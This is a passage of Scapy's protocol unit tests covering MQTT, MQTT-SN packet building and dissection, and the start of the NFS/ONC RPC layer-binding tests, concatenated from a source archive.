MQTT()/MQTTConnack(sessPresentFlag=1,retcode=0) assert(ck.type == 2) assert(ck.sessPresentFlag == 1) assert(ck.retcode == 0) = MQTTConnack, packet dissection s = b' \x02\x00\x00' connack = MQTT(s) assert(connack.sessPresentFlag == 0) assert(connack.retcode == 0) = MQTTSubscribe, packet instantiation sb = MQTT()/MQTTSubscribe(msgid=1, topics=[MQTTTopicQOS(topic='newtopic', QOS=1, length=0)]) assert(sb.type == 8) assert(sb.msgid == 1) assert(sb.topics[0].topic == b'newtopic') assert(sb.topics[0].length == 0) assert(sb[MQTTSubscribe][MQTTTopicQOS].QOS == 1) = MQTTSubscribe, packet dissection s = b'\x82\t\x00\x01\x00\x04test\x01' subscribe = MQTT(s) assert(subscribe.msgid == 1) assert(subscribe.topics[0].length == 4) assert(subscribe.topics[0].topic == b'test') assert(subscribe.topics[0].QOS == 1) = MQTTSuback, packet instantiation sk = MQTT()/MQTTSuback(msgid=1, retcode=0) assert(sk.type == 9) assert(sk.msgid == 1) assert(sk.retcode == 0) = MQTTSuback, packet dissection s = b'\x90\x03\x00\x01\x00' suback = MQTT(s) assert(suback.msgid == 1) assert(suback.retcode == 0) = MQTTUnsubscribe, packet instantiation unsb = MQTT()/MQTTUnsubscribe(msgid=1, topics=[MQTTTopic(topic='newtopic',length=0)]) assert(unsb.type == 10) assert(unsb.msgid == 1) assert(unsb.topics[0].topic == b'newtopic') assert(unsb.topics[0].length == 0) = MQTTUnsubscribe, packet dissection u = b'\xA2\x09\x00\x01\x00\x03\x61\x2F\x62' unsubscribe = MQTT(u) assert(unsubscribe.msgid == 1) assert(unsubscribe.topics[0].length == 3) assert(unsubscribe.topics[0].topic == b'a/b') = MQTTUnsuback, packet instantiation unsk = MQTT()/MQTTUnsuback(msgid=1) assert(unsk.type == 11) assert(unsk.msgid == 1) = MQTTUnsuback, packet dissection u = b'\xb0\x02\x00\x01' unsuback = MQTT(u) assert(unsuback.type == 11) assert(unsuback.msgid == 1) = MQTTPubrec, packet instantiation pc = MQTT()/MQTTPubrec(msgid=1) assert(pc.type == 5) assert(pc.msgid == 1) = MQTTPubrec packet dissection s = b'P\x02\x00\x01' pubrec = MQTT(s) assert(pubrec.msgid == 1) = MQTTPublish, long value p = MQTT()/MQTTPublish(topic='test1',value='a'*200) assert(bytes(p)) assert(p.type == 3) assert(p.topic == b'test1') assert(p.value == b'a'*200) assert(p.len == None) assert(p.length == None) = MQTT without payload p = MQTT() assert(bytes(p) == b'\x10\x00') = MQTT RandVariableFieldLen assert(type(MQTT().fieldtype['len'].randval()) == RandVariableFieldLen) assert(type(MQTT().fieldtype['len'].randval() + 0) == int) = MQTTUnsubscribe u = MQTT(b'\xA2\x0C\x00\x01\x00\x03\x61\x2F\x62\x00\x03\x63\x2F\x64') assert MQTTUnsubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b"c/d" = MQTTSubscribe u = MQTT(b'\x82\x10\x00\x01\x00\x03\x61\x2F\x62\x02\x00\x03\x63\x2F\x64\x00') assert MQTTSubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b"c/d" scapy-2.4.4/test/contrib/mqttsn.uts000066400000000000000000000505421372370053500173550ustar00rootroot00000000000000# MQTT-SN layer unit tests # Copyright (C) 2019 Martine Lenders # # This program is published under GPLv2 license # # Type the following command to start the test # $ test/run_tests -P "load_contrib('mqttsn')" -t test/contrib/mqttsn.uts + Syntax check = Import the MQTT-SN layer from scapy.contrib.mqttsn import * + MQTT-SN protocol test = MQTTSN + MQTTSNAdvertise, packet instantiation and len field adjust p = MQTTSN() / MQTTSNAdvertise(gw_id=142, duration=54403) assert p.len is None assert p.type == ADVERTISE assert p.gw_id == 142 assert p.duration == 54403 b = bytes(p) p = MQTTSN(b) assert p.len == 5 assert p.type == ADVERTISE assert p.gw_id == 142 assert p.duration == 54403 = MQTTSNAdvertise, packet dissection b = b"\x05\x00\x98\x2b\x9a" p = MQTTSN(b) assert p.len == 5 assert p.type == ADVERTISE assert p.gw_id == 0x98 assert p.duration == 0x2b9a = MQTTSNSearchGW, packet instantiation p = MQTTSN() / MQTTSNSearchGW(radius=175) assert p.len is None assert p.type == SEARCHGW assert p.radius == 175 = MQTTSNSearchGW, packet dissection b = b"\x03\x01\xcc" p = MQTTSN(b) assert p.len == 3 assert p.type == SEARCHGW assert p.radius == 0xcc = MQTTSNGwInfo, packet instantiation p = MQTTSN() / MQTTSNGwInfo(gw_id=135, gw_addr="test\0test") assert p.len is None assert p.type == GWINFO assert p.gw_id == 135 assert p.gw_addr == b"test\x00test" = MQTTSN + MQTTSNGwInfo, packet instantiation and len field adjust p = MQTTSN(len=7) / MQTTSNGwInfo(gw_id=7, gw_addr="test") / "xyz" assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 7 assert p.gw_addr == b"test" assert p.load == b"xyz" b = bytes(p) p = MQTTSN(b) assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 7 assert p.gw_addr == b"test" assert p.load == b"xyz" = MQTTSNGwInfo, packet dissection b = b"\x07\x02\x14testing" p = MQTTSN(b) assert p.len == 7 assert p.type == GWINFO assert p.gw_id == 0x14 assert p.gw_addr == b"test" assert p.load == b"ing" = MQTTSNGwInfo, packet dissection - invalid length b = b"\x01\x00\x01\x02\x14test" p = MQTTSN(b) print(type(p), repr(p)) assert p.len == 1 assert p.type == GWINFO assert p.gw_id == 0x14 assert p.gw_addr == b"" = MQTTSNConnect, packet instantiation p = MQTTSN() / MQTTSNConnect(duration=40666, client_id="test") assert p.len is None assert p.type == CONNECT assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.prot_id == 1 assert p.duration == 40666 assert p.client_id == b"test" = MQTTSNConnect, packet dissection b = b"\x0a\x04\x04\x1a\x77\x5btesting" p = MQTTSN(b) assert p.len == 10 assert p.type == CONNECT assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 1 assert p.tid_type == TID_NORMAL assert p.prot_id == 0x1a assert p.duration == 0x775b assert p.client_id == b"test" assert p.load == b"ing" = MQTTSNConnack, packet instantiation p = MQTTSN() / MQTTSNConnack() assert p.len is None assert p.type == CONNACK assert p.return_code == ACCEPTED = MQTTSNConnack, packet dissection b = b"\x03\x05\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == CONNACK assert p.return_code == REJ_TID = MQTTSNWillTopicReq, packet instantiation p = MQTTSN() / MQTTSNWillTopicReq() assert p.len is None assert p.type == WILLTOPICREQ = MQTTSNWillTopicReq, packet dissection b = b"\x02\x06" p = MQTTSN(b) assert p.len == 2 assert p.type == WILLTOPICREQ = MQTTSNWillTopic, packet instantiation p = MQTTSN() / MQTTSNWillTopic(will_topic="/test") assert p.len is None assert p.type == WILLTOPIC assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopic, packet dissection b = b"\x08\x07\x00/testing" p = MQTTSN(b) assert p.len == 8 assert p.type == WILLTOPIC assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillMsgReq, packet instantiation p = MQTTSN() / MQTTSNWillMsgReq() assert p.len is None assert p.type == WILLMSGREQ = MQTTSNWillMsgReq, packet dissection b = b"\x02\x08" p = MQTTSN(b) assert p.len == 2 assert p.type == WILLMSGREQ = MQTTSNWillMsg, packet instantiation p = MQTTSN() / MQTTSNWillMsg(will_msg="test") assert p.len is None assert p.type == WILLMSG assert p.will_msg == b"test" = MQTTSNWillMsg, packet dissection b = b"\x06\x09testing" p = MQTTSN(b) assert p.len == 6 assert p.type == WILLMSG assert p.will_msg == b"test" assert p.load == b"ing" = MQTTSNRegister, packet instantiation p = MQTTSN() / MQTTSNRegister(mid=30533, topic_name="/test") assert p.len is None assert p.type == REGISTER assert p.tid == 0 assert p.mid == 30533 assert p.topic_name == b"/test" = MQTTSNRegister, packet dissection b = b"\x0b\x0a\0\0\x48\x8a/testing" p = MQTTSN(b) assert p.len == 11 assert p.type == REGISTER assert p.tid == 0 assert p.mid == 0x488a assert p.topic_name == b"/test" assert p.load == b"ing" = MQTTSNRegack, packet instantiation p = MQTTSN() / MQTTSNRegack(tid=61547, mid=8593, return_code=REJ_NOTSUP) assert p.len is None assert p.type == REGACK assert p.tid == 61547 assert p.mid == 8593 assert p.return_code == REJ_NOTSUP = MQTTSNRegack, packet dissection b = b"\x08\x0b\xc5\xe8\x31\x87\x01" p = MQTTSN(b) assert p.len == 8 assert p.type == REGACK assert p.tid == 0xc5e8 assert p.mid == 0x3187 assert p.return_code == REJ_CONJ = MQTTSNPublish, packet instantiation p = MQTTSN() / MQTTSNPublish(qos=QOS_1, tid=52032, mid=35252, data="Hello world!") assert p.len is None assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 52032 assert p.mid == 35252 assert p.data == b"Hello world!" = MQTTSNPublish, packet instantiation - long data p = MQTTSN() / MQTTSNPublish(qos=QOS_NEG1, tid=62839, mid=36181, data=726 * "X") assert p.len is None assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_NEG1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 62839 assert p.mid == 36181 assert p.data == 726 * b"X" # Check if length field was constructed correctly b = bytes(p) assert b[:3] == b'\x01\x02\xdf' p = MQTTSN(b) assert p.len == 735 assert p.data == 726 * b"X" = MQTTSNPublish, packet dissection b = b"\x0b\x0c\x40\x19\x7f\x6a\x26testing" p = MQTTSN(b) assert p.len == 11 assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_2 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 0x197f assert p.mid == 0x6a26 assert p.data == b"test" assert p.load == b"ing" = MQTTSNPublish, packet dissection - long data b = b"\x01\x04\x64\x0c" + b"\x00\xb1\x39\xd7\x4a" + (1115 * b"X") p = MQTTSN(b) assert p.len == 0x0464 == (4 + 5 + 1115) assert p.type == PUBLISH assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 0xb139 assert p.mid == 0xd74a assert p.data == 1115 * b"X" = MQTTSNPuback, packet instantiation p = MQTTSN() / MQTTSNPuback(tid=27610, mid=30284, return_code=ACCEPTED) assert p.len is None assert p.type == PUBACK assert p.tid == 27610 assert p.mid == 30284 assert p.return_code == ACCEPTED = MQTTSNPuback, packet dissection b = b"\x08\x0d\x03\xda\x73\x9a\x02" p = MQTTSN(b) assert p.len == 8 assert p.type == PUBACK assert p.tid == 0x03da assert p.mid == 0x739a assert p.return_code == REJ_TID = MQTTSNPubcomp, packet instantiation p = MQTTSN() / MQTTSNPubcomp(mid=36193) assert p.len is None assert p.type == PUBCOMP assert p.mid == 36193 = MQTTSNPubcomp, packet dissection b = b"\x04\x0e\x26\xa2" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBCOMP assert p.mid == 0x26a2 = MQTTSNPubrec, packet instantiation p = MQTTSN() / MQTTSNPubrec(mid=44837) assert p.len is None assert p.type == PUBREC assert p.mid == 44837 = MQTTSNPubrec, packet dissection b = b"\x04\x0f\x36\xc4" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBREC assert p.mid == 0x36c4 = MQTTSNPubrel, packet instantiation p = MQTTSN() / MQTTSNPubrel(mid=42834) assert p.len is None assert p.type == PUBREL assert p.mid == 42834 = MQTTSNPubrel, packet dissection b = b"\x04\x10\x94\x0f" p = MQTTSN(b) assert p.len == 4 assert p.type == PUBREL assert p.mid == 0x940f = MQTTSNSubscribe, packet instantiation - topic name p = MQTTSN() / MQTTSNSubscribe(mid=63780, topic_name="/test") assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.topic_name == b"/test" assert p.short_topic is None assert p.tid is None = MQTTSNSubscribe, packet instantiation - predefined topic ID p = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_PREDEF, tid=1187) assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.topic_name is None assert p.short_topic is None assert p.tid == 1187 = MQTTSNSubscribe, packet instantiation - short topic p = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_SHORT, short_topic="fx") assert p.len is None assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.topic_name is None assert p.short_topic == b"fx" assert p.tid is None = MQTTSNSubscribe, packet dissection - topic name b = b"\x07\x12\x00\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.mid == 0x668a assert p.topic_name == b"/t" assert p.short_topic is None assert p.tid is None = MQTTSNSubscribe, packet dissection - short topic b = b"\x07\x12\x01\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic is None assert p.tid == (ord("/") << 8 | ord("t")) == 12148 = MQTTSNSubscribe, packet dissection - predefined topic ID b = b"\x07\x12\x02\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == SUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic == b"/t" assert p.tid is None = MQTTSNSuback, packet instantiation p = MQTTSN() / MQTTSNSuback(qos=QOS_0, tid=5496, mid=63108, return_code=REJ_TID) assert p.len is None assert p.type == SUBACK assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.tid == 5496 assert p.mid == 63108 assert p.return_code == REJ_TID = MQTTSNSuback, packet dissection b = b"\x08\x13\xa4\x93\x0b\x02\xc6\x00" p = MQTTSN(b) assert p.len == 8 assert p.type == SUBACK assert p.dup == 1 assert p.qos == QOS_1 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 1 assert p.tid_type == TID_NORMAL assert p.tid == 0x930b assert p.mid == 0x02c6 assert p.return_code == ACCEPTED = MQTTSNUnsubscribe, packet instantiation - topic name p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, topic_name="/test") assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.topic_name == b"/test" assert p.short_topic is None assert p.tid is None = MQTTSNUnsubscribe, packet instantiation - predefined topic ID p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_PREDEF, tid=1187) assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.topic_name is None assert p.short_topic is None assert p.tid == 1187 = MQTTSNUnsubscribe, packet instantiation - short topic p = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_SHORT, short_topic="fx") assert p.len is None assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.topic_name is None assert p.short_topic == b"fx" assert p.tid is None = MQTTSNUnsubscribe, packet dissection - topic name b = b"\x07\x14\x00\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.mid == 0x668a assert p.topic_name == b"/t" assert p.short_topic is None assert p.tid is None = MQTTSNUnsubscribe, packet dissection - short topic b = b"\x07\x14\x01\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_PREDEF assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic is None assert p.tid == (ord("/") << 8 | ord("t")) == 12148 = MQTTSNUnsubscribe, packet dissection - predefined topic ID b = b"\x07\x14\x02\x66\x8a/t" p = MQTTSN(b) assert p.len == 7 assert p.type == UNSUBSCRIBE assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_SHORT assert p.mid == 0x668a assert p.topic_name is None assert p.short_topic == b"/t" assert p.tid is None = MQTTSNUnsuback, packet instantiation p = MQTTSN() / MQTTSNUnsuback(mid=44541) assert p.len is None assert p.type == UNSUBACK assert p.mid == 44541 = MQTTSNUnsuback, packet dissection b = b"\x08\x15\xcb\x3d" p = MQTTSN(b) assert p.len == 8 assert p.type == UNSUBACK assert p.mid == 0xcb3d = MQTTSNPingReq, packet instantiation - no client ID p = MQTTSN() / MQTTSNPingReq() assert p.len is None assert p.type == PINGREQ assert p.client_id == b"" = MQTTSNPingReq, packet instantiation - with client ID p = MQTTSN() / MQTTSNPingReq(client_id="test") assert p.len is None assert p.type == PINGREQ assert p.client_id == b"test" = MQTTSNPingReq, packet dissection b = b"\x07\x16hello" p = MQTTSN(b) assert p.len == 7 assert p.type == PINGREQ assert p.client_id == b"hello" = MQTTSNPingResp, packet instantiation p = MQTTSN() / MQTTSNPingResp() assert p.len is None assert p.type == PINGRESP = MQTTSNPingResp, packet dissection b = b"\x02\x17" p = MQTTSN(b) assert p.len == 2 assert p.type == PINGRESP = MQTTSNDisconnect, packet instantiation and len field adjust - w/o duration p = MQTTSN() / MQTTSNDisconnect() assert p.len is None assert p.type == DISCONNECT assert p.duration is None b = bytes(p) p = MQTTSN(b) assert p.len == 2 assert p.type == DISCONNECT = MQTTSNDisconnect, packet instantiation and len field adjust - w duration p = MQTTSN() / MQTTSNDisconnect(duration=19567) assert p.len is None assert p.type == DISCONNECT assert p.duration == 19567 b = bytes(p) p = MQTTSN(b) assert p.len == 4 assert p.type == DISCONNECT assert p.duration == 19567 = MQTTSNDisconnect, packet dissection - w/o duration b = b"\x02\x18" p = MQTTSN(b) assert p.len == 2 assert p.type == DISCONNECT = MQTTSNDisconnect, packet dissection - w duration b = b"\x04\x18\x03\x12" p = MQTTSN(b) assert p.len == 4 assert p.type == DISCONNECT assert p.duration == 0x0312 = MQTTSNWillTopicUpd, packet instantiation p = MQTTSN() / MQTTSNWillTopicUpd(will_topic="/test") assert p.len is None assert p.type == WILLTOPICUPD assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopicUpd, packet dissection b = b"\x08\x1a\x00/testing" p = MQTTSN(b) assert p.len == 8 assert p.type == WILLTOPICUPD assert p.dup == 0 assert p.qos == QOS_0 assert p.retain == 0 assert p.will == 0 assert p.cleansess == 0 assert p.tid_type == TID_NORMAL assert p.will_topic == b"/test" = MQTTSNWillTopicResp, packet instantiation p = MQTTSN() / MQTTSNWillTopicResp() assert p.len is None assert p.type == WILLTOPICRESP assert p.return_code == ACCEPTED = MQTTSNWillTopicResp, packet dissection b = b"\x03\x1b\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == WILLTOPICRESP assert p.return_code == REJ_TID = MQTTSNWillMsgUpd, packet instantiation p = MQTTSN() / MQTTSNWillMsgUpd(will_msg="test") assert p.len is None assert p.type == WILLMSGUPD assert p.will_msg == b"test" = MQTTSNWillMsgUpd, packet dissection b = b"\x06\x1ctesting" p = MQTTSN(b) assert p.len == 6 assert p.type == WILLMSGUPD assert p.will_msg == b"test" assert p.load == b"ing" = MQTTSNWillMsgResp, packet instantiation p = MQTTSN() / MQTTSNWillMsgResp() assert p.len is None assert p.type == WILLMSGRESP assert p.return_code == ACCEPTED = MQTTSNWillMsgResp, packet dissection b = b"\x03\x1d\x02" p = MQTTSN(b) assert p.len == 3 assert p.type == WILLMSGRESP assert p.return_code == REJ_TID = MQTTSNEncaps, packet instantiation p = MQTTSN() / MQTTSNEncaps(radius=1, w_node_id="test") / MQTTSN() / \ MQTTSNConnack() assert p.len is None assert p.type == ENCAPS_MSG assert p.radius == 1 assert p.w_node_id == b"test" assert p.payload.payload.len is None assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED b = bytes(p) p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 1 assert p.w_node_id == b"test" assert p.return_code == ACCEPTED assert p.payload.payload.len == 3 assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED = MQTTSNEncaps, packet dissection b = b"\x07\xfe\x02test\x03\x05\x00" p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 2 assert p.w_node_id == b"test" assert p.payload.payload.len == 3 assert p.payload.payload.type == CONNACK assert p.payload.payload.return_code == ACCEPTED = MQTTSNEncaps, packet dissection -- long payload b = b"\x07\xfe\x02test" + b"\x01\x04\x64\x0c" + b"\x00\xb1\x39\xd7\x4a" + \ (1115 * b"X") p = MQTTSN(b) assert p.len == 7 assert p.type == ENCAPS_MSG assert p.radius == 2 assert p.w_node_id == b"test" assert p.payload.payload.len == 4 + 5 + 1115 == 0x0464 assert p.payload.payload.type == PUBLISH assert p.payload.payload.dup == 0 assert p.payload.payload.qos == QOS_0 assert p.payload.payload.retain == 0 assert p.payload.payload.will == 0 assert p.payload.payload.cleansess == 0 assert p.payload.payload.tid_type == TID_NORMAL assert p.payload.payload.tid == 0xb139 assert p.payload.payload.mid == 0xd74a assert p.payload.payload.data == 1115 * b"X" = MQTTSN without payload p = MQTTSN() assert(bytes(p) == b"\x02\x00") = MQTTSN without payload -- invalid lengths p = MQTTSN(len=1) try: bytes(p) # expect Scapy_Exception assert(false) except Scapy_Exception: pass p = MQTTSN(len=0x10000) try: bytes(p) # expect Scapy_Exception assert(false) except Scapy_Exception: pass b = '\x01' try: p = MQTTSN(b) # expect Scapy_Exception assert(false) except Scapy_Exception: pass b = '\x01\x02' try: p = MQTTSN(b) # expect Scapy_Exception assert(false) except Scapy_Exception: pass = MQTT-SN RandVariableFieldLen assert(type(MQTTSN().fieldtype["len"].randval()) == RandVariableFieldLen) assert(type(MQTTSN().fieldtype["len"].randval() + 0) == int) = Disect full IPv6 packages ~ dport == 1883 (0x75b) b = b"\x60\x00\x00\x00\x00\x2c\x11\x40\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xf7\x5f\x0a\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xfd\xbe\x06\xc0\x00\x07\x5b\x00\x2c\x40\x7e" \ b"\x0b\x0a\0\0\x48\x8a/testing" p = IPv6(b) assert MQTTSNRegister in p ~ sport == 1883 (0x75b) b = b"\x60\x00\x00\x00\x00\x0f\x11\x40\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xfd\xbe\x06\x20\x01\x0d\xb8\x00\x00\x00\x00" \ b"\x17\x11\x6b\x10\x65\xf7\x5f\x0a\x07\x5b\xc0\x00\x00\x0f\x62\x7c" \ b"\x07\x0d\x00\x01\x86\x2f\x00" p = IPv6(b) assert MQTTSNPuback in p = UDP packet instantiation b = bytes(UDP() / MQTTSN() / MQTTSNConnack()) p = UDP(b) assert MQTTSNConnack in p assert p.sport == 1883 assert p.dport == 1883 scapy-2.4.4/test/contrib/nfs.uts000066400000000000000000001250561372370053500166200ustar00rootroot00000000000000% Tests for nfs module ############ ############ + Packet Creation Tests = Create subpackets Fattr3() File_Object() Object_Name() WCC_Attr() File_From_Dir_Plus() File_From_Dir() Sattr3() = Create NFS Calls NULL_Call() GETATTR_Call() SETATTR_Call() LOOKUP_Call() ACCESS_Call() READLINK_Call() READ_Call() WRITE_Call() CREATE_Call() MKDIR_Call() SYMLINK_Call() REMOVE_Call() RMDIR_Call() RENAME_Call() LINK_Call() READDIR_Call() READDIRPLUS_Call() FSSTAT_Call() FSINFO_Call() PATHCONF_Call() COMMIT_Call() = Create NFS Successful replies GETATTR_Reply(status=0) SETATTR_Reply(status=0) LOOKUP_Reply(status=0) ACCESS_Reply(status=0) READLINK_Reply(status=0) READ_Reply(status=0) WRITE_Reply(status=0) CREATE_Reply(status=0) MKDIR_Reply(status=0) SYMLINK_Reply(status=0) REMOVE_Reply(status=0) RMDIR_Reply(status=0) RENAME_Reply(status=0) LINK_Reply(status=0) READDIR_Reply(status=0) READDIRPLUS_Reply(status=0) FSSTAT_Reply(status=0) FSINFO_Reply(status=0) PATHCONF_Reply(status=0) COMMIT_Reply(status=0) = Create NFS Failed replies GETATTR_Reply(status=1) SETATTR_Reply(status=1) LOOKUP_Reply(status=1) ACCESS_Reply(status=1) READLINK_Reply(status=1) READ_Reply(status=1) WRITE_Reply(status=1) CREATE_Reply(status=1) MKDIR_Reply(status=1) SYMLINK_Reply(status=1) REMOVE_Reply(status=1) RMDIR_Reply(status=1) RENAME_Reply(status=1) LINK_Reply(status=1) READDIR_Reply(status=1) READDIRPLUS_Reply(status=1) FSSTAT_Reply(status=1) FSINFO_Reply(status=1) PATHCONF_Reply(status=1) COMMIT_Reply(status=1) + Test RPC Call layer bindings = Layer Bindings for NFS Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/NULL_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 0)) pkt = RPC()/RPC_Call()/GETATTR_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 1)) pkt = RPC()/RPC_Call()/SETATTR_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 2)) pkt = RPC()/RPC_Call()/LOOKUP_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 3)) pkt = RPC()/RPC_Call()/ACCESS_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 4)) pkt = RPC()/RPC_Call()/READLINK_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 5)) pkt = RPC()/RPC_Call()/READ_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 6)) pkt = RPC()/RPC_Call()/WRITE_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 7)) pkt = RPC()/RPC_Call()/CREATE_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 8)) pkt = RPC()/RPC_Call()/MKDIR_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 9)) pkt = RPC()/RPC_Call()/SYMLINK_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 10)) pkt = RPC()/RPC_Call()/REMOVE_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 12)) pkt = RPC()/RPC_Call()/RMDIR_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 13)) pkt = RPC()/RPC_Call()/RENAME_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 14)) pkt = RPC()/RPC_Call()/LINK_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 15)) pkt = RPC()/RPC_Call()/READDIR_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 16)) pkt = RPC()/RPC_Call()/READDIRPLUS_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 17)) pkt = RPC()/RPC_Call()/FSSTAT_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 18)) pkt = RPC()/RPC_Call()/FSINFO_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 19)) pkt = RPC()/RPC_Call()/PATHCONF_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 20)) pkt = RPC()/RPC_Call()/COMMIT_Call() assert((pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 21)) = Layer Bindings for NFS Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/GETATTR_Reply() assert(pkt.mtype==1) pkt = RPC()/RPC_Reply()/SETATTR_Reply() assert(pkt.mtype==1) pkt = 